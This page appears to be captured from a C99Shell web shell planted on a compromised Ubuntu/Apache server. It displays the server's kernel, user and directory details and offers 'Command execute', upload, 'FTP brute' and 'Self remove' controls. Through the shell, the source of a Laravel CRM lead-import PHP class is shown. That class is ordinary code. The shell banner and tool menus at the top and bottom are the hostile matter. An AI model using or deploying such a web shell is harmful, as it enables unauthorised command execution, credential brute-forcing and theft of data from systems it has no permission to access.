!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/DataTransfer/src/Helpers/Importers/Leads/   drwxrwxrwx
Free 12.99 GB of 57.97 GB (22.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Importer.php (15.69 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\DataTransfer\Helpers\Importers\Leads;

use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\Support\Facades\Validator;
use 
Webkul\Attribute\Repositories\AttributeRepository;
use 
Webkul\Attribute\Repositories\AttributeValueRepository;
use 
Webkul\Core\Contracts\Validations\Decimal;
use 
Webkul\DataTransfer\Contracts\ImportBatch as ImportBatchContract;
use 
Webkul\DataTransfer\Helpers\Import;
use 
Webkul\DataTransfer\Helpers\Importers\AbstractImporter;
use 
Webkul\DataTransfer\Repositories\ImportBatchRepository;
use 
Webkul\Lead\Repositories\LeadRepository;
use 
Webkul\Lead\Repositories\ProductRepository as LeadProductRepository;

class 
Importer extends AbstractImporter
{
    
/**
     * Error code for non existing id.
     */
    
const ERROR_ID_NOT_FOUND_FOR_DELETE 'id_not_found_to_delete';

    
/**
     * Permanent entity columns.
     */
    
protected array $validColumnNames = [
        
'id',
        
'title',
        
'description',
        
'lead_value',
        
'status',
        
'lost_reason',
        
'closed_at',
        
'user_id',
        
'person_id',
        
'lead_source_id',
        
'lead_type_id',
        
'lead_pipeline_id',
        
'lead_pipeline_stage_id',
        
'expected_close_date',
        
'product',
    ];

    
/**
     * Error message templates.
     */
    
protected array $messages = [
        
self::ERROR_ID_NOT_FOUND_FOR_DELETE => 'data_transfer::app.importers.leads.validation.errors.id-not-found',
    ];

    
/**
     * Permanent entity columns.
     *
     * @var string[]
     */
    
protected $permanentAttributes = ['title'];

    
/**
     * Permanent entity column.
     */
    
protected string $masterAttributeCode 'id';

    
/**
     * Is linking required
     */
    
protected bool $linkingRequired true;

    
/**
     * Create a new helper instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
ImportBatchRepository $importBatchRepository,
        protected 
LeadRepository $leadRepository,
        protected 
LeadProductRepository $leadProductRepository,
        protected 
AttributeRepository $attributeRepository,
        protected 
AttributeValueRepository $attributeValueRepository,
        protected 
Storage $leadsStorage,
    ) {
        
parent::__construct(
            
$importBatchRepository,
            
$attributeRepository,
            
$attributeValueRepository,
        );
    }

    
/**
     * Initialize leads error templates.
     */
    
protected function initErrorMessages(): void
    
{
        foreach (
$this->messages as $errorCode => $message) {
            
$this->errorHelper->addErrorMessage($errorCodetrans($message));
        }

        
parent::initErrorMessages();
    }

    
/**
     * Validate data.
     */
    
public function validateData(): void
    
{
        
$this->leadsStorage->init();

        
parent::validateData();
    }

    
/**
     * Validates row.
     */
    
public function validateRow(array $rowDataint $rowNumber): bool
    
{
        
/**
         * If row is already validated than no need for further validation.
         */
        
if (isset($this->validatedRows[$rowNumber])) {
            return ! 
$this->errorHelper->isRowInvalid($rowNumber);
        }

        
$this->validatedRows[$rowNumber] = true;

        
/**
         * If import action is delete than no need for further validation.
         */
        
if ($this->import->action == Import::ACTION_DELETE) {
            if (! 
$this->isTitleExist($rowData['title'])) {
                
$this->skipRow($rowNumberself::ERROR_ID_NOT_FOUND_FOR_DELETE'id');

                return 
false;
            }

            return 
true;
        }

        if (! empty(
$rowData['product'])) {
            
$product $this->parseProducts($rowData['product']);

            
$validator Validator::make($product, [
                
'id'       => 'required|exists:products,id',
                
'price'    => 'required',
                
'quantity' => 'required',
            ]);

            if (
$validator->fails()) {
                
$failedAttributes $validator->failed();

                foreach (
$validator->errors()->getMessages() as $attributeCode => $message) {
                    
$errorCode array_key_first($failedAttributes[$attributeCode] ?? []);

                    
$this->skipRow($rowNumber$errorCode$attributeCodecurrent($message));
                }
            }
        }

        
/**
         * Validate leads attributes.
         */
        
$validator Validator::make($rowData, [
            ...
$this->getValidationRules('leads|persons'$rowData),
            
'id'                     => 'numeric',
            
'status'                 => 'sometimes|required|in:0,1',
            
'user_id'                => 'required|exists:users,id',
            
'person_id'              => 'required|exists:persons,id',
            
'lead_source_id'         => 'required|exists:lead_sources,id',
            
'lead_type_id'           => 'required|exists:lead_types,id',
            
'lead_pipeline_id'       => 'required|exists:lead_pipelines,id',
            
'lead_pipeline_stage_id' => 'required|exists:lead_pipeline_stages,id',
        ]);

        if (
$validator->fails()) {
            
$failedAttributes $validator->failed();

            foreach (
$validator->errors()->getMessages() as $attributeCode => $message) {
                
$errorCode array_key_first($failedAttributes[$attributeCode] ?? []);

                
$this->skipRow($rowNumber$errorCode$attributeCodecurrent($message));
            }
        }

        return ! 
$this->errorHelper->isRowInvalid($rowNumber);
    }

    
/**
     * Prepare row data for lead product.
     */
    
protected function parseProducts(?string $products): array
    {
        
$productData = [];

        
$productArray explode(','$products);

        foreach (
$productArray as $product) {
            if (empty(
$product)) {
                continue;
            }

            [
$key$value] = explode('='$product);

            
$productData[$key] = $value;
        }

        if (
            isset(
$productData['price'])
            && isset(
$productData['quantity'])
        ) {
            
$productData['amount'] = $productData['price'] * $productData['quantity'];
        }

        return 
$productData;
    }

    
/**
     * Get validation rules.
     */
    
public function getValidationRules(string $entityTypes, array $rowData): array
    {
        
$rules = [];

        foreach (
explode('|'$entityTypes) as $entityType) {
            
$attributes $this->attributeRepository->scopeQuery(fn ($query) => $query->whereIn('code'array_keys($rowData))->where('entity_type'$entityType))->get();

            foreach (
$attributes as $attribute) {
                if (
$entityType == 'persons') {
                    
$attribute->code 'person.'.$attribute->code;
                }

                
$validations = [];

                if (
$attribute->type == 'boolean') {
                    continue;
                } elseif (
$attribute->type == 'address') {
                    if (! 
$attribute->is_required) {
                        continue;
                    }

                    
$validations = [
                        
$attribute->code.'.address'  => 'required',
                        
$attribute->code.'.country'  => 'required',
                        
$attribute->code.'.state'    => 'required',
                        
$attribute->code.'.city'     => 'required',
                        
$attribute->code.'.postcode' => 'required',
                    ];
                } elseif (
$attribute->type == 'email') {
                    
$validations = [
                        
$attribute->code              => [$attribute->is_required 'required' 'nullable'],
                        
$attribute->code.'.*.value'   => [$attribute->is_required 'required' 'nullable''email'],
                        
$attribute->code.'.*.label'   => $attribute->is_required 'required' 'nullable',
                    ];
                } elseif (
$attribute->type == 'phone') {
                    
$validations = [
                        
$attribute->code              => [$attribute->is_required 'required' 'nullable'],
                        
$attribute->code.'.*.value'   => [$attribute->is_required 'required' 'nullable'],
                        
$attribute->code.'.*.label'   => $attribute->is_required 'required' 'nullable',
                    ];
                } else {
                    
$validations[$attribute->code] = [$attribute->is_required 'required' 'nullable'];

                    if (
$attribute->type == 'text' && $attribute->validation) {
                        
array_push($validations[$attribute->code],
                            
$attribute->validation == 'decimal'
                            
? new Decimal
                            
$attribute->validation
                        
);
                    }

                    if (
$attribute->type == 'price') {
                        
array_push($validations[$attribute->code], new Decimal);
                    }
                }

                if (
$attribute->is_unique) {
                    
array_push($validations[in_array($attribute->type, ['email''phone'])
                        ? 
$attribute->code.'.*.value'
                        
$attribute->code
                    
], function ($field$value$fail) use ($attribute) {
                        if (! 
$this->attributeValueRepository->isValueUnique(
                            
null,
                            
$attribute->entity_type,
                            
$attribute,
                            
request($field)
                        )
                        ) {
                            
$fail(trans('data_transfer::app.validation.errors.already-exists', ['attribute' => $attribute->name]));
                        }
                    });
                }

                
$rules = [
                    ...
$rules,
                    ...
$validations,
                ];
            }
        }

        return 
$rules;
    }

    
/**
     * Start the import process.
     */
    
public function importBatch(ImportBatchContract $batch): bool
    
{
        
Event::dispatch('data_transfer.imports.batch.import.before'$batch);

        if (
$batch->import->action == Import::ACTION_DELETE) {
            
$this->deleteLeads($batch);
        } else {
            
$this->saveLeads($batch);
        }

        
/**
         * Update import batch summary.
         */
        
$batch $this->importBatchRepository->update([
            
'state' => Import::STATE_PROCESSED,

            
'summary'      => [
                
'created' => $this->getCreatedItemsCount(),
                
'updated' => $this->getUpdatedItemsCount(),
                
'deleted' => $this->getDeletedItemsCount(),
            ],
        ], 
$batch->id);

        
Event::dispatch('data_transfer.imports.batch.import.after'$batch);

        return 
true;
    }

    
/**
     * Start the products linking process
     */
    
public function linkBatch(ImportBatchContract $batch): bool
    
{
        
Event::dispatch('data_transfer.imports.batch.linking.before'$batch);

        
/**
         * Load leads storage with batch ids.
         */
        
$this->leadsStorage->load(Arr::pluck($batch->data'title'));

        
$products = [];

        foreach (
$batch->data as $rowData) {
            
/**
             * Prepare products.
             */
            
$this->prepareProducts($rowData$products);
        }

        
$this->saveProducts($products);

        
/**
         * Update import batch summary
         */
        
$this->importBatchRepository->update([
            
'state' => Import::STATE_LINKED,
        ], 
$batch->id);

        
Event::dispatch('data_transfer.imports.batch.linking.after'$batch);

        return 
true;
    }

    
/**
     * Prepare products.
     */
    
public function prepareProducts($rowData, &$product): void
    
{
        if (! empty(
$rowData['product'])) {
            
$product[$rowData['title']] = $this->parseProducts($rowData['product']);
        }
    }

    
/**
     * Save products.
     */
    
public function saveProducts(array $products): void
    
{
        
$leadProducts = [];

        foreach (
$products as $title => $product) {
            
$lead $this->leadsStorage->get($title);

            
$leadProducts['insert'][] = [
                
'lead_id'    => $lead['id'],
                
'product_id' => $product['id'],
                
'price'      => $product['price'],
                
'quantity'   => $product['quantity'],
                
'amount'     => $product['amount'],
            ];
        }

        foreach (
$leadProducts['insert'] as $key => $leadProduct) {
            
$this->leadProductRepository->deleteWhere([
                
'lead_id'    => $leadProduct['lead_id'],
                
'product_id' => $leadProduct['product_id'],
            ]);
        }

        
$this->leadProductRepository->upsert($leadProducts['insert'], ['lead_id''product_id']);
    }

    
/**
     * Delete leads from current batch.
     */
    
protected function deleteLeads(ImportBatchContract $batch): bool
    
{
        
/**
         * Load leads storage with batch ids.
         */
        
$this->leadsStorage->load(Arr::pluck($batch->data'title'));

        
$idsToDelete = [];

        foreach (
$batch->data as $rowData) {
            if (! 
$this->isTitleExist($rowData['title'])) {
                continue;
            }

            
$idsToDelete[] = $this->leadsStorage->get($rowData['title']);
        }

        
$idsToDelete array_unique($idsToDelete);

        
$this->deletedItemsCount count($idsToDelete);

        
$this->leadRepository->deleteWhere([['id''IN'$idsToDelete]]);

        return 
true;
    }

    
/**
     * Save leads from current batch.
     */
    
protected function saveLeads(ImportBatchContract $batch): bool
    
{
        
/**
         * Load lead storage with batch unique title.
         */
        
$this->leadsStorage->load(Arr::pluck($batch->data'title'));

        
$leads = [];

        
/**
         * Prepare leads for import.
         */
        
foreach ($batch->data as $rowData) {
            if (isset(
$rowData['id'])) {
                
$leads['update'][$rowData['id']] = Arr::except($rowData, ['product']);
            } else {
                
$leads['insert'][$rowData['title']] = [
                    ...
Arr::except($rowData, ['id''product']),
                    
'created_at' => $rowData['created_at'] ?? now(),
                    
'updated_at' => $rowData['updated_at'] ?? now(),
                ];
            }
        }

        if (! empty(
$leads['update'])) {
            
$this->updatedItemsCount += count($leads['update']);

            
$this->leadRepository->upsert(
                
$leads['update'],
                
$this->masterAttributeCode
            
);
        }

        if (! empty(
$leads['insert'])) {
            
$this->createdItemsCount += count($leads['insert']);

            
$this->leadRepository->insert($leads['insert']);

            
/**
             * Update the sku storage with newly created products
             */
            
$newLeads $this->leadRepository->findWhereIn(
                
'title',
                
array_keys($leads['insert']),
                [
                    
'id',
                    
'title',
                ]
            );

            foreach (
$newLeads as $lead) {
                
$this->leadsStorage->set($lead->title, [
                    
'id'    => $lead->id,
                    
'title' => $lead->title,
                ]);
            }
        }

        return 
true;
    }

    
/**
     * Check if title exists.
     */
    
public function isTitleExist(string $title): bool
    
{
        return 
$this->leadsStorage->has($title);
    }

    
/**
     * Prepare row data to save into the database.
     */
    
protected function prepareRowForDb(array $rowData): array
    {
        return 
parent::prepareRowForDb($rowData);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0096 ]--